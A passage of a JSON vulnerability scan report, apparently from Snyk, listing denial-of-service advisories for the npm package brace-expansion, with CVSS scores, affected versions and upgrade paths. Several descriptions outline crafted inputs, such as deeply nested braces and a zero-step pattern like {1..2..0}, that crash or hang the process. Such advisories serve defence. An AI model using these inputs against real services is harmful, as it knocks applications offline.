"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
